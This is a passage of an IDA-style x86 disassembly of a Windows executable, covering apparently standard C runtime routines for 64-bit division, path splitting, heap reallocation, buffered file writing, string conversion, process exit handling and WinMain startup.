[esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_418F80: ; CODE XREF: sub_418F50+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_418F80 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_418FAE cmp edx, [esp+8+arg_4] ja short loc_418FAE jb short loc_418FAF cmp eax, [esp+8+arg_0] jbe short loc_418FAF loc_418FAE: ; CODE XREF: sub_418F50+4Ej ; sub_418F50+54j dec esi loc_418FAF: ; CODE XREF: sub_418F50+56j ; sub_418F50+5Cj xor edx, edx mov eax, esi loc_418FB3: ; CODE XREF: sub_418F50+20j pop esi pop ebx retn 10h sub_418F50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418FB8 proc near ; CODE XREF: sub_40B6ED+1E3p ; sub_40E48A+F7p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx mov ebx, [ebp+arg_0] push esi push edi push ebx call sub_4177B0 cmp eax, 1 pop ecx jb short loc_418FF3 cmp byte ptr [ebx+1], 3Ah jnz short loc_418FF3 mov esi, [ebp+arg_4] test esi, esi jz short loc_418FEF push 2 push ebx push esi call sub_41EA38 add esp, 0Ch and byte ptr [esi+2], 0 loc_418FEF: ; CODE XREF: sub_418FB8+25j inc ebx inc ebx jmp short loc_418FFD ; --------------------------------------------------------------------------- loc_418FF3: ; CODE XREF: sub_418FB8+18j ; sub_418FB8+1Ej mov eax, [ebp+arg_4] test eax, eax jz short loc_418FFD and byte ptr [eax], 0 loc_418FFD: ; CODE XREF: sub_418FB8+39j ; sub_418FB8+40j and [ebp+arg_4], 0 cmp byte ptr [ebx], 0 mov eax, ebx mov esi, 0FFh mov [ebp+arg_0], eax jz short loc_419075 loc_419010: ; CODE XREF: sub_418FB8+87j mov cl, [eax] movzx edx, cl test byte_48AA01[edx], 4 jz short loc_419021 inc eax jmp short loc_41903B ; --------------------------------------------------------------------------- loc_419021: ; CODE XREF: sub_418FB8+64j cmp cl, 2Fh jz short loc_419035 cmp cl, 5Ch jz short loc_419035 cmp cl, 2Eh jnz short loc_41903B mov [ebp+var_4], eax jmp short loc_41903B ; --------------------------------------------------------------------------- loc_419035: ; CODE XREF: sub_418FB8+6Cj ; sub_418FB8+71j lea ecx, [eax+1] mov [ebp+arg_4], ecx loc_41903B: ; CODE XREF: sub_418FB8+67j ; sub_418FB8+76j ... inc eax cmp byte ptr [eax], 0 jnz short loc_419010 mov edi, [ebp+arg_4] mov [ebp+arg_0], eax test edi, edi jz short loc_419075 cmp [ebp+arg_8], 0 jz short loc_419070 sub edi, ebx cmp edi, esi jb short loc_419059 mov edi, esi loc_419059: ; CODE XREF: sub_418FB8+9Dj push edi push ebx push [ebp+arg_8] call sub_41EA38 mov eax, [ebp+arg_8] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_419070: ; CODE XREF: sub_418FB8+97j mov ebx, [ebp+arg_4] jmp short loc_41907F ; --------------------------------------------------------------------------- loc_419075: ; CODE XREF: sub_418FB8+56j ; sub_418FB8+91j mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_41907F and byte ptr [ecx], 0 loc_41907F: ; CODE XREF: sub_418FB8+BBj ; sub_418FB8+C2j mov edi, [ebp+var_4] test edi, edi jz short loc_4190D2 cmp edi, ebx jb short loc_4190D2 cmp [ebp+arg_C], 0 jz short loc_4190AF sub edi, ebx cmp edi, esi jb short loc_419098 mov edi, esi loc_419098: ; CODE XREF: sub_418FB8+DCj push edi push ebx push [ebp+arg_C] call sub_41EA38 mov eax, [ebp+arg_C] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_4190AF: ; CODE XREF: sub_418FB8+D6j mov edi, [ebp+arg_10] test edi, edi jz short loc_4190FA sub eax, [ebp+var_4] cmp eax, esi jnb short loc_4190BF mov esi, eax loc_4190BF: ; CODE XREF: sub_418FB8+103j push esi push [ebp+var_4] push edi call sub_41EA38 add esp, 0Ch and byte ptr [esi+edi], 0 jmp short loc_4190FA ; --------------------------------------------------------------------------- loc_4190D2: ; CODE XREF: sub_418FB8+CCj ; sub_418FB8+D0j mov edi, [ebp+arg_C] test edi, edi jz short loc_4190F0 sub eax, ebx cmp eax, esi jnb short loc_4190E1 mov esi, eax loc_4190E1: ; CODE XREF: sub_418FB8+125j push esi push ebx push edi call sub_41EA38 add esp, 0Ch and byte ptr [esi+edi], 0 loc_4190F0: ; CODE XREF: sub_418FB8+11Fj mov eax, [ebp+arg_10] test eax, eax jz short loc_4190FA and byte ptr [eax], 0 loc_4190FA: ; CODE XREF: sub_418FB8+FCj ; sub_418FB8+118j ... pop edi pop esi pop ebx leave retn sub_418FB8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4190FF proc near ; CODE XREF: sub_40BE01+19p ; sub_40D430+1Cp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push [ebp+arg_C] mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] push [ebp+arg_8] mov [ebp+var_1C], eax lea eax, [ebp+var_20] mov [ebp+var_14], 42h push eax call sub_419B38 add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41913D mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41914A ; --------------------------------------------------------------------------- loc_41913D: ; CODE XREF: sub_4190FF+34j lea eax, [ebp+var_20] push eax push 0 call sub_419A23 pop ecx pop ecx loc_41914A: ; CODE XREF: sub_4190FF+3Cj mov eax, esi pop esi leave retn sub_4190FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41914F proc near ; CODE XREF: sub_40C079+2Cp ; sub_418303+35p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 push ebx push esi push edi jnz short loc_41916A push [ebp+arg_4] call sub_417889 pop ecx jmp loc_4193EA ; --------------------------------------------------------------------------- loc_41916A: ; CODE XREF: sub_41914F+Bj mov esi, [ebp+arg_4] test esi, esi jnz short loc_41917F push [ebp+arg_0] call sub_41793B pop ecx jmp loc_4193E8 ; --------------------------------------------------------------------------- loc_41917F: ; CODE XREF: sub_41914F+20j mov eax, dword_48AB28 cmp eax, 3 jnz loc_41928F loc_41918D: ; CODE XREF: sub_41914F+12Ej xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41926B push [ebp+arg_0] call sub_41AA89 mov ebx, eax pop ecx test ebx, ebx jz loc_419246 cmp esi, dword_48AB20 ja short loc_4191FF mov edi, [ebp+arg_0] push esi push edi push ebx call sub_41B292 add esp, 0Ch test eax, eax jnz short loc_4191FB push esi call sub_41ADDD mov edi, eax pop ecx test edi, edi jz short loc_4191FF mov ebx, [ebp+arg_0] mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_4191DF mov eax, esi loc_4191DF: ; CODE XREF: sub_41914F+8Cj push eax push ebx push edi call sub_417090 push ebx call sub_41AA89 push [ebp+arg_0] mov ebx, eax push ebx call sub_41AAB4 add esp, 18h loc_4191FB: ; CODE XREF: sub_41914F+74j test edi, edi jnz short loc_419242 loc_4191FF: ; CODE XREF: sub_41914F+62j ; sub_41914F+81j test esi, esi jnz short loc_419206 push 1 pop esi loc_419206: ; CODE XREF: sub_41914F+B2j add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push dword_48AB24 call dword_4230E8 ; RtlAllocateHeap mov edi, eax test edi, edi jz short loc_419242 mov ecx, [ebp+arg_0] mov eax, [ecx-4] dec eax cmp eax, esi jb short loc_41922E mov eax, esi loc_41922E: ; CODE XREF: sub_41914F+DBj push eax push ecx push edi call sub_417090 push [ebp+arg_0] push ebx call sub_41AAB4 add esp, 14h loc_419242: ; CODE XREF: sub_41914F+AEj ; sub_41914F+D0j test ebx, ebx jnz short loc_419267 loc_419246: ; CODE XREF: sub_41914F+56j test esi, esi jnz short loc_41924D push 1 pop esi loc_41924D: ; CODE XREF: sub_41914F+F9j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_48AB24 call dword_423194 ; RtlReAllocateHeap mov edi, eax loc_419267: ; CODE XREF: sub_41914F+F5j test edi, edi jnz short loc_419288 loc_41926B: ; CODE XREF: sub_41914F+43j cmp dword_48950C, 0 jz short loc_419288 push esi call sub_41A854 test eax, eax pop ecx jnz loc_41918D jmp loc_4193E8 ; --------------------------------------------------------------------------- loc_419288: ; CODE XREF: sub_41914F+11Aj ; sub_41914F+123j ... mov eax, edi jmp loc_4193EA ; --------------------------------------------------------------------------- loc_41928F: ; CODE XREF: sub_41914F+38j cmp eax, 2 jnz loc_4193AA cmp esi, 0FFFFFFE0h ja short loc_4192AC test esi, esi jbe short loc_4192A9 add esi, 0Fh and esi, 0FFFFFFF0h jmp short loc_4192AC ; --------------------------------------------------------------------------- loc_4192A9: ; CODE XREF: sub_41914F+150j push 10h pop esi loc_4192AC: ; CODE XREF: sub_41914F+14Cj ; sub_41914F+158j ... xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41938C lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_41B7E4 mov ebx, eax add esp, 0Ch test ebx, ebx jz loc_419370 cmp esi, dword_43ACC4 jnb short loc_419334 mov edi, esi shr edi, 4 push edi push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41BBAC add esp, 10h test eax, eax jz short loc_4192FA mov edi, [ebp+arg_0] jmp short loc_41932C ; --------------------------------------------------------------------------- loc_4192FA: ; CODE XREF: sub_41914F+1A4j push edi call sub_41B880 mov edi, eax pop ecx test edi, edi jz short loc_419334 movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_419313 mov eax, esi loc_419313: ; CODE XREF: sub_41914F+1C0j push eax push [ebp+arg_0] push edi call sub_417090 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41B83B add esp, 18h loc_41932C: ; CODE XREF: sub_41914F+1A9j test edi, edi jnz loc_419288 loc_419334: ; CODE XREF: sub_41914F+18Bj ; sub_41914F+1B6j push esi push 0 push dword_48AB24 call dword_4230E8 ; RtlAllocateHeap mov edi, eax test edi, edi jz short loc_41938C movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_419355 mov eax, esi loc_419355: ; CODE XREF: sub_41914F+202j push eax push [ebp+arg_0] push edi call sub_417090 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41B83B add esp, 18h jmp short loc_419384 ; --------------------------------------------------------------------------- loc_419370: ; CODE XREF: sub_41914F+17Fj push esi push [ebp+arg_0] push 0 push dword_48AB24 call dword_423194 ; RtlReAllocateHeap mov edi, eax loc_419384: ; CODE XREF: sub_41914F+21Fj test edi, edi jnz loc_419288 loc_41938C: ; CODE XREF: sub_41914F+162j ; sub_41914F+1F8j cmp dword_48950C, 0 jz loc_419288 push esi call sub_41A854 test eax, eax pop ecx jnz loc_4192AC jmp short loc_4193E8 ; --------------------------------------------------------------------------- loc_4193AA: ; CODE XREF: sub_41914F+143j ; sub_41914F+297j xor eax, eax cmp esi, 0FFFFFFE0h ja short loc_4193D4 test esi, esi jnz short loc_4193B8 push 1 pop esi loc_4193B8: ; CODE XREF: sub_41914F+264j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_48AB24 call dword_423194 ; RtlReAllocateHeap test eax, eax jnz short loc_4193EA loc_4193D4: ; CODE XREF: sub_41914F+260j cmp dword_48950C, 0 jz short loc_4193EA push esi call sub_41A854 test eax, eax pop ecx jnz short loc_4193AA loc_4193E8: ; CODE XREF: sub_41914F+2Bj ; sub_41914F+134j ... xor eax, eax loc_4193EA: ; CODE XREF: sub_41914F+16j ; sub_41914F+13Bj ... pop edi pop esi pop ebx leave retn sub_41914F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4193EF proc near ; CODE XREF: sub_40C6D2+127p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov eax, [ebp+arg_0] mov [ebp+var_4], edi test edi, edi mov [ebp+arg_0], eax mov ebx, edi jnz short loc_419413 xor eax, eax jmp loc_4194E0 ; --------------------------------------------------------------------------- loc_419413: ; CODE XREF: sub_4193EF+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_419426 mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41942D ; --------------------------------------------------------------------------- loc_419426: ; CODE XREF: sub_4193EF+2Dj mov [ebp+arg_C], 1000h loc_41942D: ; CODE XREF: sub_4193EF+35j ; sub_4193EF+E8j mov ecx, [esi+0Ch] and ecx, 108h jz short loc_419461 mov eax, [esi+4] test eax, eax jz short loc_419461 cmp ebx, eax mov edi, ebx jb short loc_419447 mov edi, eax loc_419447: ; CODE XREF: sub_4193EF+54j push edi push [ebp+arg_0] push dword ptr [esi] call sub_417090 sub [esi+4], edi add [esi], edi add esp, 0Ch sub ebx, edi add [ebp+arg_0], edi jmp short loc_4194A7 ; --------------------------------------------------------------------------- loc_419461: ; CODE XREF: sub_4193EF+47j ; sub_4193EF+4Ej cmp ebx, [ebp+arg_C] jb short loc_4194AC test ecx, ecx jz short loc_419475 push esi call sub_41A4D0 test eax, eax pop ecx jnz short loc_4194EE loc_419475: ; CODE XREF: sub_4193EF+79j cmp [ebp+arg_C], 0 jz short loc_419488 mov eax, ebx xor edx, edx div [ebp+arg_C] mov edi, ebx sub edi, edx jmp short loc_41948A ; --------------------------------------------------------------------------- loc_419488: ; CODE XREF: sub_4193EF+8Aj mov edi, ebx loc_41948A: ; CODE XREF: sub_4193EF+97j push edi push [ebp+arg_0] push dword ptr [esi+10h] call sub_41EAC2 add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_4194E5 add [ebp+arg_0], eax sub ebx, eax cmp eax, edi jb short loc_4194E5 loc_4194A7: ; CODE XREF: sub_4193EF+70j mov edi, [ebp+var_4] jmp short loc_4194D5 ; --------------------------------------------------------------------------- loc_4194AC: ; CODE XREF: sub_4193EF+75j mov eax, [ebp+arg_0] push esi movsx eax, byte ptr [eax] push eax call sub_419A23 pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_4194EE inc [ebp+arg_0] mov eax, [esi+18h] dec ebx mov [ebp+arg_C], eax test eax, eax jg short loc_4194D5 mov [ebp+arg_C], 1 loc_4194D5: ; CODE XREF: sub_4193EF+BBj ; sub_4193EF+DDj test ebx, ebx jnz loc_41942D mov eax, [ebp+arg_8] loc_4194E0: ; CODE XREF: sub_4193EF+1Fj ; sub_4193EF+108j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4194E5: ; CODE XREF: sub_4193EF+ADj ; sub_4193EF+B6j or dword ptr [esi+0Ch], 20h mov eax, [ebp+var_4] jmp short loc_4194F0 ; --------------------------------------------------------------------------- loc_4194EE: ; CODE XREF: sub_4193EF+84j ; sub_4193EF+CFj mov eax, edi loc_4194F0: ; CODE XREF: sub_4193EF+FDj sub eax, ebx xor edx, edx div [ebp+arg_4] jmp short loc_4194E0 sub_4193EF endp ; =============== S U B R O U T I N E ======================================= sub_4194F9 proc near ; CODE XREF: sub_40CE09+8p arg_0 = dword ptr 4 arg_4 = byte ptr 8 push [esp+arg_0] call dword_4230A8 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jnz short loc_419519 call dword_42308C ; RtlGetLastWin32Error push eax call sub_41EC6F pop ecx loc_419515: ; CODE XREF: sub_4194F9+3Fj or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_419519: ; CODE XREF: sub_4194F9+Dj test al, 1 jz short loc_41953A test [esp+arg_4], 2 jz short loc_41953A mov dword_4894AC, 0Dh mov dword_4894B0, 5 jmp short loc_419515 ; --------------------------------------------------------------------------- loc_41953A: ; CODE XREF: sub_4194F9+22j ; sub_4194F9+29j xor eax, eax retn sub_4194F9 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_419540 proc near ; CODE XREF: sub_40CF32+5Fp ; sub_40CF32+90p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_419561 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_419561: ; CODE XREF: sub_419540+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_41957D inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_41957D: ; CODE XREF: sub_419540+27j or eax, eax jnz short loc_419599 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_4195DA ; --------------------------------------------------------------------------- loc_419599: ; CODE XREF: sub_419540+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_4195A7: ; CODE XREF: sub_419540+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_4195A7 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_4195D5 cmp edx, [esp+0Ch+arg_4] ja short loc_4195D5 jb short loc_4195D6 cmp eax, [esp+0Ch+arg_0] jbe short loc_4195D6 loc_4195D5: ; CODE XREF: sub_419540+85j ; sub_419540+8Bj dec esi loc_4195D6: ; CODE XREF: sub_419540+8Dj ; sub_419540+93j xor edx, edx mov eax, esi loc_4195DA: ; CODE XREF: sub_419540+57j dec edi jnz short loc_4195E4 neg edx neg eax sbb edx, 0 loc_4195E4: ; CODE XREF: sub_419540+9Bj pop ebx pop esi pop edi retn 10h sub_419540 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4195F0 proc near ; CODE XREF: sub_40D28A+1Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] test eax, eax jz short locret_41963C mov edx, [esp+arg_0] push esi push edi mov esi, edx mov edi, [esp+8+arg_4] or edx, edi and edx, 3 jz short loc_41963D test eax, 1 jz short loc_41961D mov cl, [esi] cmp cl, [edi] jnz short loc_41966A inc esi inc edi dec eax jz short loc_41963A loc_41961D: ; CODE XREF: sub_4195F0+20j ; sub_4195F0+48j mov cl, [esi] mov dl, [edi] cmp cl, dl jnz short loc_41966A mov cl, [esi+1] mov dl, [edi+1] cmp cl, dl jnz short loc_41966A add edi, 2 add esi, 2 sub eax, 2 jnz short loc_41961D loc_41963A: ; CODE XREF: sub_4195F0+2Bj ; sub_4195F0+84j pop edi pop esi locret_41963C: ; CODE XREF: sub_4195F0+6j retn ; --------------------------------------------------------------------------- loc_41963D: ; CODE XREF: sub_4195F0+19j mov ecx, eax and eax, 3 shr ecx, 2 jz short loc_419672 repe cmpsd jz short loc_419672 mov ecx, [esi-4] mov edx, [edi-4] cmp cl, dl jnz short loc_419665 cmp ch, dh jnz short loc_419665 shr ecx, 10h shr edx, 10h cmp cl, dl jnz short loc_419665 cmp ch, dh loc_419665: ; CODE XREF: sub_4195F0+63j ; sub_4195F0+67j ... mov eax, 0 loc_41966A: ; CODE XREF: sub_4195F0+26j ; sub_4195F0+33j ... sbb eax, eax pop edi sbb eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_419672: ; CODE XREF: sub_4195F0+55j ; sub_4195F0+59j test eax, eax jz short loc_41963A mov edx, [esi] mov ecx, [edi] cmp dl, cl jnz short loc_419665 dec eax jz short loc_419699 cmp dh, ch jnz short loc_419665 dec eax jz short loc_419699 and ecx, 0FF0000h and edx, 0FF0000h cmp edx, ecx jnz short loc_419665 dec eax loc_419699: ; CODE XREF: sub_4195F0+8Fj ; sub_4195F0+96j pop edi pop esi retn sub_4195F0 endp ; =============== S U B R O U T I N E ======================================= sub_41969C proc near ; CODE XREF: sub_40E3CC+55p ; sub_415CC2+238p arg_0 = dword ptr 4 mov ecx, [esp+arg_0] cmp word ptr [ecx], 0 lea eax, [ecx+2] jz short loc_4196B3 loc_4196A9: ; CODE XREF: sub_41969C+15j mov dx, [eax] inc eax inc eax test dx, dx jnz short loc_4196A9 loc_4196B3: ; CODE XREF: sub_41969C+Bj sub eax, ecx sar eax, 1 dec eax retn sub_41969C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4196B9 proc near ; CODE XREF: sub_40E3CC+19p ; sub_40E3CC+49p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_0] push ebx push esi xor esi, esi xor eax, eax cmp edx, esi push edi jz loc_419786 mov edi, [ebp+arg_8] cmp edi, esi jz loc_4197B3 cmp dword_489540, esi jnz short loc_41970A cmp edi, esi jbe loc_4197B3 loc_4196E9: ; CODE XREF: sub_4196B9+4Aj mov ecx, [ebp+arg_4] add ecx, eax movzx si, byte ptr [ecx] mov [edx], si cmp byte ptr [ecx], 0 jz loc_4197B3 inc eax inc edx inc edx cmp eax, edi jb short loc_4196E9 jmp loc_4197B3 ; --------------------------------------------------------------------------- loc_41970A: ; CODE XREF: sub_4196B9+26j mov ebx, [ebp+arg_4] mov esi, dword_423070 push edi push edx push 0FFFFFFFFh push ebx push 9 push dword_489550 call esi ; MultiByteToWideChar test eax, eax jnz loc_4197B2 call dword_42308C ; RtlGetLastWin32Error cmp eax, 7Ah jz short loc_419744 loc_419735: ; CODE XREF: sub_4196B9+CBj ; sub_4196B9+F7j mov dword_4894AC, 2Ah or eax, 0FFFFFFFFh jmp short loc_4197B3 ; --------------------------------------------------------------------------- loc_419744: ; CODE XREF: sub_4196B9+7Aj lea ecx, [edi-1] mov eax, ebx mov [ebp+arg_4], ecx loc_41974C: ; CODE XREF: sub_4196B9+B3j mov cl, [eax] test cl, cl jz short loc_41976E mov edx, off_438A80 movzx ecx, cl test byte ptr [edx+ecx*2+1], 80h jz short loc_419763 inc eax loc_419763: ; CODE XREF: sub_4196B9+A7j mov ecx, [ebp+arg_4] inc eax dec [ebp+arg_4] test ecx, ecx jnz short loc_41974C loc_41976E: ; CODE XREF: sub_4196B9+97j push edi sub eax, ebx push [ebp+arg_0] push eax push ebx push 1 push dword_489550 call esi ; MultiByteToWideChar test eax, eax jnz short loc_4197B3 jmp short loc_419735 ; --------------------------------------------------------------------------- loc_419786: ; CODE XREF: sub_4196B9+Fj cmp dword_489540, esi jnz short loc_419799 push [ebp+arg_4] call sub_4177B0 pop ecx jmp short loc_4197B3 ; --------------------------------------------------------------------------- loc_419799: ; CODE XREF: sub_4196B9+D3j push esi push esi push 0FFFFFFFFh push [ebp+arg_4] push 9 push dword_489550 call dword_423070 ; MultiByteToWideChar cmp eax, esi jz short loc_419735 loc_4197B2: ; CODE XREF: sub_4196B9+6Bj dec eax loc_4197B3: ; CODE XREF: sub_4196B9+1Aj ; sub_4196B9+2Aj ... pop edi pop esi pop ebx pop ebp retn sub_4196B9 endp ; =============== S U B R O U T I N E ======================================= sub_4197B8 proc near ; CODE XREF: sub_4198E4+93p mov eax, off_438A4C test eax, eax jz short loc_4197C3 call eax ; sub_417A73 loc_4197C3: ; CODE XREF: sub_4197B8+7j push offset dword_425028 push offset dword_425014 call sub_4198A0 push offset dword_425010 push offset dword_425000 call sub_4198A0 add esp, 10h retn sub_4197B8 endp ; =============== S U B R O U T I N E ======================================= sub_4197E5 proc near ; CODE XREF: sub_4198E4+D2p arg_0 = dword ptr 4 push 0 push 0 push [esp+8+arg_0] call sub_419807 add esp, 0Ch retn sub_4197E5 endp ; =============== S U B R O U T I N E ======================================= sub_4197F6 proc near ; CODE XREF: .data:004199D5p ; sub_4199DA+1Cp ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_419807 add esp, 0Ch retn sub_4197F6 endp ; =============== S U B R O U T I N E ======================================= sub_419807 proc near ; CODE XREF: sub_4197E5+8p ; sub_4197F6+8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi push 1 pop edi cmp dword_4894F4, edi jnz short loc_419824 push [esp+4+arg_0] call dword_42313C ; GetCurrentProcess push eax call dword_423170 ; TerminateProcess loc_419824: ; CODE XREF: sub_419807+Aj cmp [esp+4+arg_4], 0 push ebx mov ebx, [esp+8+arg_8] mov dword_4894F0, edi mov byte_4894EC, bl jnz short loc_419878 mov eax, dword_48AB3C test eax, eax jz short loc_419867 mov ecx, dword_48AB38 push esi lea esi, [ecx-4] cmp esi, eax jb short loc_419866 loc_419853: ; CODE XREF: sub_419807+5Dj mov eax, [esi] test eax, eax jz short loc_41985B call eax loc_41985B: ; CODE XREF: sub_419807+50j sub esi, 4 cmp esi, dword_48AB3C jnb short loc_419853 loc_419866: ; CODE XREF: sub_419807+4Aj pop esi loc_419867: ; CODE XREF: sub_419807+3Cj push offset dword_425034 push offset dword_42502C call sub_4198A0 pop ecx pop ecx loc_419878: ; CODE XREF: sub_419807+33j push offset dword_425040 push offset dword_425038 call sub_4198A0 pop ecx pop ecx test ebx, ebx pop ebx jnz short loc_41989E push [esp+4+arg_0] mov dword_4894F4, edi call dword_42314C ; ExitProcess loc_41989E: ; CODE XREF: sub_419807+85j pop edi retn sub_419807 endp ; =============== S U B R O U T I N E ======================================= sub_4198A0 proc near ; CODE XREF: sub_4197B8+15p ; sub_4197B8+24p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] loc_4198A5: ; CODE XREF: sub_4198A0+16j cmp esi, [esp+4+arg_4] jnb short loc_4198B8 mov eax, [esi] test eax, eax jz short loc_4198B3 call eax loc_4198B3: ; CODE XREF: sub_4198A0+Fj add esi, 4 jmp short loc_4198A5 ; --------------------------------------------------------------------------- loc_4198B8: ; CODE XREF: sub_4198A0+9j pop esi retn sub_4198A0 endp ; =============== S U B R O U T I N E ======================================= sub_4198BA proc near ; CODE XREF: sub_40EC43+2B66p arg_0 = dword ptr 4 push [esp+arg_0] call dword_423158 ; DeleteFileA test eax, eax jnz short loc_4198D0 call dword_42308C ; RtlGetLastWin32Error jmp short loc_4198D2 ; --------------------------------------------------------------------------- loc_4198D0: ; CODE XREF: sub_4198BA+Cj xor eax, eax loc_4198D2: ; CODE XREF: sub_4198BA+14j test eax, eax jz short loc_4198E1 push eax call sub_41EC6F pop ecx or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_4198E1: ; CODE XREF: sub_4198BA+1Aj xor eax, eax retn sub_4198BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4198E4 proc near ; DATA XREF: .ex_cod:off_4A301Co var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = byte ptr -5Ch var_30 = dword ptr -30h var_2C = word ptr -2Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4236A8 push offset sub_41F4A0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 58h push ebx push esi push edi mov [ebp+var_18], esp call dword_4231A0 ; GetVersion xor edx, edx mov dl, ah mov dword_4894C4, edx mov ecx, eax and ecx, 0FFh mov dword_4894C0, ecx shl ecx, 8 add ecx, edx mov dword_4894BC, ecx shr eax, 10h mov dword_4894B8, eax xor esi, esi push esi call sub_41A9E4 pop ecx test eax, eax jnz short loc_419950 push 1Ch call sub_4199FF pop ecx loc_419950: ; CODE XREF: sub_4198E4+62j mov [ebp+var_4], esi call sub_41F2EA call dword_42319C ; GetCommandLineA mov dword_48AB2C, eax call sub_41F1B8 mov dword_4894F8, eax call sub_41EF6B call sub_41EEB2 call sub_4197B8 mov [ebp+var_30], esi lea eax, [ebp+var_5C] push eax call dword_423198 ; GetStartupInfoA call sub_41EE5A mov [ebp+var_64], eax test byte ptr [ebp+var_30], 1 jz short loc_41999D movzx eax, [ebp+var_2C] jmp short loc_4199A0 ; --------------------------------------------------------------------------- loc_41999D: ; CODE XREF: sub_4198E4+B1j push 0Ah pop eax loc_4199A0: ; CODE XREF: sub_4198E4+B7j push eax push [ebp+var_64] push esi push esi call dword_423100 ; GetModuleHandleA push eax call sub_40E48A mov [ebp+var_60], eax push eax call sub_4197E5 mov eax, [ebp+var_14] mov ecx, [eax] mov ecx, [ecx] mov [ebp+var_68], ecx push eax push ecx call sub_41ECD6 pop ecx pop ecx retn sub_4198E4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov esp, [ebp-18h] push dword ptr [ebp-68h] call sub_4197F6 ; =============== S U B R O U T I N E ======================================= sub_4199DA proc near ; CODE XREF: sub_418382+16p ; 